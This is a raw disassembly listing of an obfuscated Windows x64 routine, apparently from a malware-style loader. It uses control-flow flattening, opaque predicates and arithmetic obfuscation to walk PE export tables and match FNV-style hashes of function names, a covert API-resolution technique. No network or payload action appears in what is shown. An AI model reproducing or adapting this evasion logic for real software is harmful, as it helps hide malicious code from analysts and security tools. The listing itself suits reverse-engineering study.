xor al, cl
or dl, al
mov eax, 0x4b2b96ad
mov ecx, 0x2b617b65
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x3b4], eax
jmp 0x1400059de
mov rax, qword [rbp + 0x3d0]
mov rcx, qword [rbp + 0x3c0]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x9a8], rax
mov rax, qword [rbp + 0x9a8]
mov qword [rbp + 0x9b0], rax
mov rax, qword [rbp + 0x9a8]
mov eax, dword [rax + 0x3c]
mov dword [rbp + 0x9bc], eax
mov dword [rbp + 0x9a4], 0xaba3fd2c
mov eax, dword [rbp + 0x9a4]
mov dword [rbp + 0x100], eax
sub eax, 0x9ad2e03e
je 0x140005843
jmp 0x14000580a
mov eax, dword [rbp + 0x100]
sub eax, 0xaba3fd2c
je 0x140005825
jmp 0x140005820
jmp 0x14000583e
mov eax, dword [rbp + 0x9bc]
cdqe
mov qword [rbp + 0x9c0], rax
mov dword [rbp + 0x9a4], 0x9ad2e03e
jmp 0x1400057ee
mov rcx, qword [rbp + 0x9b0]
mov rdx, qword [rbp + 0x9c0]
mov rax, qword [rbp + 0x3c8]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x3c0]
mov rax, qword [rbp + 0x3c8]
mov eax, dword [rax]
add rcx, rax
mov rax, qword [rbp + 0x3d0]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x3c8]
mov ecx, dword [rax + 4]
mov rax, qword [rbp + 0x3d0]
mov dword [rax], ecx
mov eax, dword [0x1400952c4]
mov ecx, dword [0x1400952c0]
mov edx, eax
add edx, 0x2d32582e
sub edx, 1
sub edx, 0x2d32582e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4b2b96ad
mov ecx, 0x3b3d1822
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x3b4], eax
jmp 0x1400059de
mov rax, qword [rbp + 0x3d0]
mov rcx, qword [rbp + 0x3c0]
mov qword [rax + 8], rcx
mov rax, qword [rbp + 0x3c0]
mov qword [rbp + 0x9d0], rax
mov rax, qword [rbp + 0x9d0]
mov qword [rbp + 0x9d8], rax
mov rax, qword [rbp + 0x9d0]
mov eax, dword [rax + 0x3c]
mov dword [rbp + 0x9e4], eax
mov dword [rbp + 0x9cc], 0xaba3fd2c
mov eax, dword [rbp + 0x9cc]
mov dword [rbp + 0xfc], eax
sub eax, 0x9ad2e03e
je 0x140005983
jmp 0x14000594a
mov eax, dword [rbp + 0xfc]
sub eax, 0xaba3fd2c
je 0x140005965
jmp 0x140005960
jmp 0x14000597e
mov eax, dword [rbp + 0x9e4]
cdqe
mov qword [rbp + 0x9e8], rax
mov dword [rbp + 0x9cc], 0x9ad2e03e
jmp 0x14000592e
mov rcx, qword [rbp + 0x9d8]
mov rdx, qword [rbp + 0x9e8]
mov rax, qword [rbp + 0x3c8]
mov rcx, qword [rcx + rdx + 0x88]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x3c0]
mov rax, qword [rbp + 0x3c8]
mov eax, dword [rax]
add rcx, rax
mov rax, qword [rbp + 0x3d0]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 0x3c8]
mov ecx, dword [rax + 4]
mov rax, qword [rbp + 0x3d0]
mov dword [rax], ecx
mov dword [rbp + 0x3b4], 0x2b617b65
jmp 0x14000568b
mov rax, qword [rbp + 0x110]
mov rcx, qword [rbp + 0x3d0]
mov rsp, rax
mov rax, rsp
mov qword [rbp + 0xf0], rax
mov ecx, dword [0x1400952bc]
mov eax, dword [0x1400952b8]
mov edx, ecx
add edx, 0x5385e35
sub edx, 1
sub edx, 0x5385e35
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x3f6], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x3f7], al
mov dword [rbp + 0x3f0], 0xf08d4e46
mov eax, dword [rbp + 0x3f0]
mov dword [rbp + 0xec], eax
sub eax, 0xd83041ed
je 0x140005bd3
jmp 0x140005a64
mov eax, dword [rbp + 0xec]
sub eax, 0xdc14201c
je 0x140005b06
jmp 0x140005a7a
mov eax, dword [rbp + 0xec]
sub eax, 0xf08d4e46
je 0x140005ad7
jmp 0x140005a90
mov eax, dword [rbp + 0xec]
sub eax, 0x115cad6b
je 0x140005b8a
jmp 0x140005aa6
mov eax, dword [rbp + 0xec]
sub eax, 0x5b1e92bf
je 0x140005baa
jmp 0x140005abc
mov eax, dword [rbp + 0xec]
sub eax, 0x7bcd94bf
je 0x140005b7b
jmp 0x140005ad2
jmp 0x140005bce
mov al, byte [rbp + 0x3f6]
mov cl, byte [rbp + 0x3f7]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b1e92bf
mov ecx, 0xdc14201c
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x3f0], eax
jmp 0x140005bce
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x3f8]
lea rcx, [rbp + 0xae8]
mov qword [rax], rcx
mov eax, dword [0x1400952bc]
mov ecx, dword [0x1400952b8]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5b1e92bf
mov ecx, 0x7bcd94bf
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x3f0], eax
jmp 0x140005bce
mov dword [rbp + 0x3f0], 0x115cad6b
jmp 0x140005bce
mov rax, qword [rbp + 0x3f8]
mov rax, qword [rax]
mov qword [rbp + 0x400], rax
mov dword [rbp + 0x3f0], 0xd83041ed
jmp 0x140005bce
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
lea rcx, [rbp + 0xae8]
mov qword [rax], rcx
mov dword [rbp + 0x3f0], 0xdc14201c
jmp 0x140005a48
mov rcx, qword [rbp + 0xf0]
mov rax, qword [rbp + 0x400]
mov rax, qword [rax + 0x10]
mov rdx, qword [rbp + 0x400]
cmp rax, qword [rdx + 8]
setne al
mov rsp, rcx
and al, 1
mov byte [rbp + 0x23f], al
mov dword [rbp + 0x21c], 0x13218490
jmp 0x140008980
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
sub edx, 0xaddb8bf0
sub edx, 1
add edx, 0xaddb8bf0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x512ba151
mov ecx, 0x7f7a4d1e
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0xded249a5
sub edx, 1
sub edx, 0xded249a5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x512ba151
mov ecx, 0x51bd58ea
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dl, byte [rbp + 0x23f]
mov eax, 0x625a7d38
mov ecx, 0xe3229600
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
lea rax, [rbp + 0xae8]
mov qword [rbp + 0x430], rax
mov rax, qword [rbp + 0x430]
add rax, 0x10
mov qword [rbp + 0x438], rax
mov dword [rbp + 0x42c], 0xb83f5c47
mov eax, dword [rbp + 0x42c]
mov dword [rbp + 0xe8], eax
sub eax, 0x8361b71c
je 0x140005d85
jmp 0x140005d4a
mov eax, dword [rbp + 0xe8]
sub eax, 0xb83f5c47
je 0x140005d65
jmp 0x140005d60
jmp 0x140005d80
mov rax, qword [rbp + 0x438]
mov rax, qword [rax]
mov qword [rbp + 0x440], rax
mov dword [rbp + 0x42c], 0x8361b71c
jmp 0x140005d2e
mov rax, qword [rbp + 0x440]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0x240], eax
mov dword [rbp + 0x21c], 0xfc150a5e
jmp 0x140008980
mov rax, qword [rbp + 0x228]
mov ecx, dword [rbp + 0x240]
mov dword [rax], ecx
mov dword [rbp + 0x21c], 0xf4af3fa9
jmp 0x140008980
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
sub edx, 0xb3e2547a
sub edx, 1
add edx, 0xb3e2547a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44879a6a
mov ecx, 0x6fa8f4a
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
sub edx, 0x2e46541b
sub edx, 1
add edx, 0x2e46541b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44879a6a
mov ecx, 0x2bbd5ba8
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x21c], 0xe1905ae1
jmp 0x140008980
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x15135e1d
sub edx, 1
sub edx, 0x15135e1d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe242ec44
mov ecx, 0x854da01f
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov rax, qword [rbp + 0x228]
mov eax, dword [rax]
mov dword [rbp + 0x244], eax
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x572ea53e
sub edx, 1
sub edx, 0x572ea53e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe242ec44
mov ecx, 0x1ff79b96
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x21c], 0x242e32b5
jmp 0x140008980
mov ecx, dword [rbp + 0x244]
sub ecx, 0x61e2508d
add ecx, 0xffffffff
add ecx, 0x61e2508d
mov rax, qword [rbp + 0x228]
mov dword [rax], ecx
mov eax, dword [rbp + 0x244]
cmp eax, 0
setne al
and al, 1
mov byte [rbp + 0x24b], al
mov dword [rbp + 0x21c], 0x41d85520
jmp 0x140008980
mov dl, byte [rbp + 0x24b]
mov eax, 0x33e3b6d9
mov ecx, 0xe3773693
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov ecx, dword [0x1400952e4]
mov eax, dword [0x1400952e0]
mov edx, ecx
add edx, 0x56c68104
sub edx, 1
sub edx, 0x56c68104
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x84a00130
mov ecx, 0x4d73e031
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x4bc], 0x9cebfb3
mov eax, dword [rbp + 0x4bc]
mov dword [rbp + 0xe4], eax
sub eax, 0xa660b58f
je 0x1400061d9
jmp 0x1400060a7
mov eax, dword [rbp + 0xe4]
sub eax, 0xf8bdbf0a
je 0x1400061f9
jmp 0x1400060bd
mov eax, dword [rbp + 0xe4]
sub eax, 0x9cebfb3
je 0x140006104
jmp 0x1400060d3
mov eax, dword [rbp + 0xe4]
sub eax, 0x1242f988
je 0x140006156
jmp 0x1400060e9
mov eax, dword [rbp + 0xe4]
sub eax, 0x37774ae3
je 0x1400061ca
jmp 0x1400060ff
jmp 0x1400061f4
mov eax, dword [0x1400952b4]
mov ecx, dword [0x1400952b0]
mov edx, eax
sub edx, 0x8af577bc
sub edx, 1
add edx, 0x8af577bc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x1242f988
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x4bc], eax
jmp 0x1400061f4
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4c0], rax
mov rax, qword [rbp + 0x4c0]
shr rax, 0x20
mov dword [rbp + 0x4c8], eax
mov eax, dword [0x1400952b4]
mov ecx, dword [0x1400952b0]
mov edx, eax
add edx, 0xf707ac35
sub edx, 1
sub edx, 0xf707ac35
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa660b58f
mov ecx, 0x37774ae3
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x4bc], eax
jmp 0x1400061f4
mov dword [rbp + 0x4bc], 0xf8bdbf0a
jmp 0x1400061f4
movabs rax, 0x7269cf05c1b38541
mov qword [rbp + 0x4c0], rax
mov dword [rbp + 0x4bc], 0x1242f988
jmp 0x14000608b
mov eax, dword [rbp + 0x4c8]
mov dword [rbp + 0x24c], eax
mov rax, qword [rbp + 0x228]
mov eax, dword [rax]
mov dword [rbp + 0x52c], eax
mov dword [rbp + 0x51c], 0xa0c8cb78
mov eax, dword [rbp + 0x51c]
mov dword [rbp + 0xe0], eax
sub eax, 0xa0c8cb78
je 0x140006255
jmp 0x14000623a
mov eax, dword [rbp + 0xe0]
sub eax, 0xf71b7200
je 0x140006280
jmp 0x140006250
jmp 0x14000627b
lea rax, [rbp + 0xae8]
mov qword [rbp + 0x520], rax
mov rax, qword [rbp + 0x520]
mov qword [rbp + 0x530], rax
mov dword [rbp + 0x51c], 0xf71b7200
jmp 0x14000621e
mov rax, qword [rbp + 0x530]
mov rax, qword [rax + 8]
mov rcx, qword [rbp + 0x530]
mov rcx, qword [rcx + 8]
mov rdx, qword [rbp + 0x530]
mov rdx, qword [rdx + 0x10]
mov edx, dword [rdx + 0x20]
add rcx, rdx
mov edx, dword [rbp + 0x52c]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rbp + 0x250], rax
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
mov edx, eax
add edx, 0xb98571ea
sub edx, 1
sub edx, 0xb98571ea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84a00130
mov ecx, 0xfd9f4854
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x21c], eax
jmp 0x140008980
mov dword [rbp + 0x21c], 0xe392403d
jmp 0x140008980
mov ecx, dword [rbp + 0x24c]
mov rax, qword [rbp + 0x250]
mov dword [rbp + 0x488], ecx
mov qword [rbp + 0x480], rax
mov dword [rbp + 0x474], 0xfb5ce38d
mov eax, dword [rbp + 0x474]
mov dword [rbp + 0xdc], eax
sub eax, 0x85129a04
je 0x1400065fa
jmp 0x14000635b
mov eax, dword [rbp + 0xdc]
sub eax, 0xc203342f
je 0x140006867
jmp 0x140006371
mov eax, dword [rbp + 0xdc]
sub eax, 0xc2b0e732
je 0x14000676a
jmp 0x140006387
mov eax, dword [rbp + 0xdc]
sub eax, 0xc7e49cae
je 0x14000674f
jmp 0x14000639d
mov eax, dword [rbp + 0xdc]
sub eax, 0xd3c4115f
je 0x14000699c
jmp 0x1400063b3
mov eax, dword [rbp + 0xdc]
sub eax, 0xd46fab84
je 0x1400067ee
jmp 0x1400063c9
mov eax, dword [rbp + 0xdc]
sub eax, 0xd5574b60
je 0x140006500
jmp 0x1400063df
mov eax, dword [rbp + 0xdc]
sub eax, 0xd99af3af
je 0x140006609
jmp 0x1400063f5
mov eax, dword [rbp + 0xdc]
sub eax, 0xde590d1c
je 0x14000694c
jmp 0x14000640b
mov eax, dword [rbp + 0xdc]
sub eax, 0xe60a5252
je 0x14000672e
jmp 0x140006421
mov eax, dword [rbp + 0xdc]
sub eax, 0xf48c5fbc
je 0x14000671f
jmp 0x140006437
mov eax, dword [rbp + 0xdc]
sub eax, 0xfb5ce38d
je 0x1400064d6
jmp 0x14000644d
mov eax, dword [rbp + 0xdc]
sub eax, 0x1b1de324
je 0x14000698d
jmp 0x140006463
mov eax, dword [rbp + 0xdc]
sub eax, 0x308b75fc
je 0x140006858
jmp 0x140006479
mov eax, dword [rbp + 0xdc]
sub eax, 0x507cced0
je 0x14000668d
jmp 0x14000648f
mov eax, dword [rbp + 0xdc]
sub eax, 0x52a41137
je 0x140006978
jmp 0x1400064a5
mov eax, dword [rbp + 0xdc]
sub eax, 0x7e4af9f3
je 0x140006552
jmp 0x1400064bb
mov eax, dword [rbp + 0xdc]
sub eax, 0x7f164d4f
je 0x1400064f1
jmp 0x1400064d1
jmp 0x140006997
mov eax, dword [rbp + 0x488]
mov dword [rbp + 0x47c], eax
mov dword [rbp + 0x474], 0x7f164d4f
jmp 0x140006997
mov dword [rbp + 0x474], 0xd5574b60
jmp 0x140006997
mov eax, dword [0x1400952ac]
mov ecx, dword [0x1400952a8]
mov edx, eax
add edx, 0x7bf8d8a8
sub edx, 1
sub edx, 0x7bf8d8a8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xde590d1c
mov ecx, 0x7e4af9f3
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x474], eax
jmp 0x140006997
mov rax, qword [rbp + 0x480]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x480], rcx
mov al, byte [rax]
mov byte [rbp + 0x47b], al
mov al, byte [rbp + 0x47b]
mov byte [rbp + 0x48e], al
mov ecx, dword [0x1400952ac]
mov eax, dword [0x1400952a8]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xde590d1c
mov ecx, 0x85129a04
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x474], eax
jmp 0x140006997
mov dword [rbp + 0x474], 0xd99af3af
jmp 0x140006997
mov ecx, dword [0x1400952ac]
mov eax, dword [0x1400952a8]
mov edx, ecx
sub edx, 0x46ac0511
sub edx, 1
add edx, 0x46ac0511
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x52a41137
mov ecx, 0x507cced0
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x474], eax
jmp 0x140006997
mov al, byte [rbp + 0x48e]
cmp al, 0
setne al
and al, 1
mov byte [rbp + 0x48f], al
mov ecx, dword [0x1400952ac]
mov eax, dword [0x1400952a8]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x52a41137
mov ecx, 0xf48c5fbc
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x474], eax
jmp 0x140006997
mov dword [rbp + 0x474], 0xe60a5252
jmp 0x140006997
mov dl, byte [rbp + 0x48f]
mov eax, 0xc7e49cae
mov ecx, 0xc2b0e732
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x474], eax
jmp 0x140006997
mov eax, dword [rbp + 0x47c]
mov dword [rbp + 0x490], eax
mov dword [rbp + 0x474], 0xd3c4115f
jmp 0x140006997
mov ecx, dword [0x1400952ac]
mov eax, dword [0x1400952a8]
mov edx, ecx
add edx, 0xf7877484
sub edx, 1
sub edx, 0xf7877484
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and r11b, cl
mov r9b, r8b
and r9b, 0xff
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1b1de324
mov ecx, 0xd46fab84
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x474], eax
jmp 0x140006997
mov al, byte [rbp + 0x47b]
mov byte [rbp + 0x497], al
mov eax, dword [rbp + 0x47c]
mov dword [rbp + 0x498], eax
mov eax, dword [0x1400952ac]
mov ecx, dword [0x1400952a8]
mov edx, eax
add edx, 0x95b1a870
sub edx, 1
sub edx, 0x95b1a870
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1b1de324
mov ecx, 0x308b75fc
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x474], eax
jmp 0x140006997
mov dword [rbp + 0x474], 0xc203342f
jmp 0x140006997
mov al, byte [rbp + 0x497]
mov ecx, dword [rbp + 0x498]
mov dword [rbp + 0xd8], ecx
mov byte [rbp + 0xa4f], al
mov dword [rbp + 0xa44], 0x32ddef5c
mov eax, dword [rbp + 0xa44]
mov dword [rbp + 0xd4], eax
sub eax, 0xadbd9f97
je 0x1400068f4
jmp 0x1400068a5
mov eax, dword [rbp + 0xd4]
sub eax, 0x32ddef5c
je 0x1400068c0
jmp 0x1400068bb
jmp 0x1400068ef
mov eax, dword [rbp + 0xd8]
mov dword [rbp + 0xa48], eax
mov eax, dword [rbp + 0xa48]
mov dword [rbp + 0xa50], eax
movsx eax, byte [rbp + 0xa4f]
mov dword [rbp + 0xa54], eax
mov dword [rbp + 0xa44], 0xadbd9f97
jmp 0x140006889
mov r8d, dword [rbp + 0xa50]
mov edx, dword [rbp + 0xa54]
mov eax, r8d
xor eax, 0xffffffff
and eax, 0x657d9a02
mov r9d, 0xffffffff
xor r9d, 0x657d9a02
and r8d, r9d
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x657d9a02
and edx, r9d
or eax, r8d
or ecx, edx
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [rbp + 0x47c], eax
mov dword [rbp + 0x474], 0xd5574b60
jmp 0x140006997
mov rax, qword [rbp + 0x480]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x480], rcx
mov al, byte [rax]
mov byte [rbp + 0x47b], al
mov dword [rbp + 0x474], 0x7e4af9f3
jmp 0x140006997
mov al, byte [rbp + 0x48e]
mov dword [rbp + 0x474], 0x507cced0
jmp 0x140006997
mov dword [rbp + 0x474], 0xd46fab84
jmp 0x14000633f
mov eax, dword [rbp + 0x490]
mov dword [rbp + 0x25c], eax
mov rax, rsp
mov qword [rbp + 0xc8], rax
mov ecx, dword [0x1400952a4]
mov eax, dword [0x1400952a0]
xor r8d, r8d
sub r8d, 1
mov edx, ecx
add edx, r8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [rbp + 0x576], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [rbp + 0x577], al
mov dword [rbp + 0x570], 0xc807c962
mov eax, dword [rbp + 0x570]
mov dword [rbp + 0xc4], eax
sub eax, 0x969c0091
je 0x140006b6f
jmp 0x140006a13
mov eax, dword [rbp + 0xc4]
sub eax, 0x9adc1397
je 0x140006b60
jmp 0x140006a29
mov eax, dword [rbp + 0xc4]
sub eax, 0xaceca18c
je 0x140006af7
jmp 0x140006a3f
mov eax, dword [rbp + 0xc4]
sub eax, 0xc319dc12
je 0x140006c37
jmp 0x140006a55
mov eax, dword [rbp + 0xc4]
sub eax, 0xc807c962
je 0x140006ac8
jmp 0x140006a6b
mov eax, dword [rbp + 0xc4]
sub eax, 0xce59fbbd
je 0x140006cbb
jmp 0x140006a81
mov eax, dword [rbp + 0xc4]
sub eax, 0xd7569686
je 0x140006be5
jmp 0x140006a97
mov eax, dword [rbp + 0xc4]
sub eax, 0x63f50657
je 0x140006cd9
jmp 0x140006aad
mov eax, dword [rbp + 0xc4]
sub eax, 0x7ee41f43
je 0x140006cca
jmp 0x140006ac3
jmp 0x140006cd4
mov al, byte [rbp + 0x576]
mov cl, byte [rbp + 0x577]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce59fbbd
mov ecx, 0xaceca18c
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x570], eax
jmp 0x140006cd4
mov eax, 0x10
call fcn.14005d3a0
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x578], rax
mov eax, dword [0x1400952a4]
mov ecx, dword [0x1400952a0]
mov edx, eax
sub edx, 0x6514551d
sub edx, 1
add edx, 0x6514551d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xce59fbbd
mov ecx, 0x9adc1397
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x570], eax
jmp 0x140006cd4
mov dword [rbp + 0x570], 0x969c0091
jmp 0x140006cd4
mov rax, qword [rbp + 0x578]
movabs rcx, 0x7269cf05c1b38541
mov qword [rax], rcx
mov rax, qword [rbp + 0x578]
mov rax, qword [rax]
xor rax, 0xffffffffffffffff
mov rdx, 0xffffffffffffffff
movabs rcx, 0xffffffff
xor rdx, rcx
mov rcx, 0xffffffffffffffff
movabs r8, 0xc731e0be036271f6
xor rcx, r8
or rax, rdx
movabs rdx, 0xc731e0be036271f6
or rcx, rdx
xor rax, 0xffffffffffffffff
and rax, rcx
mov dword [rbp + 0x580], eax
mov dword [rbp + 0x570], 0xd7569686
jmp 0x140006cd4
mov eax, dword [0x1400952a4]
mov ecx, dword [0x1400952a0]
mov edx, eax
sub edx, 0xa8d71885
sub edx, 1
add edx, 0xa8d71885
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ee41f43
mov ecx, 0xc319dc12
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x570], eax
jmp 0x140006cd4
mov ecx, dword [0x1400952a4]
mov eax, dword [0x1400952a0]
mov edx, ecx
sub edx, 0xd6f633cd
sub edx, 1
add edx, 0xd6f633cd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete r11b
cmp eax, 0xa
setl r10b
mov al, r11b
xor al, 0xff
mov r8b, r10b
xor r8b, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and r11b, cl
mov r9b, r8b
and r9b, 0
and r10b, cl
or dl, r11b
or r9b, r10b
xor dl, r9b
or al, r8b
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7ee41f43
mov ecx, 0x63f50657
test dl, 1
cmovne eax, ecx
mov dword [rbp + 0x570], eax
jmp 0x140006cd4
mov dword [rbp + 0x570], 0xaceca18c
jmp 0x140006cd4
mov dword [rbp + 0x570], 0xc319dc12
jmp 0x1400069f7
mov rcx, qword [rbp + 0xc8]
mov eax, dword [rbp + 0x580]
mov rsp, rcx
mov dword [rbp + 0x260], eax
mov dword [rbp + 0x21c], 0xbe23be7b
jmp 0x140008980
mov eax, dword [0x1400952e4]
mov ecx, dword [0x1400952e0]
xor r8d, r8d
sub r8d, 1
mov edx, eax
add edx, r8d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
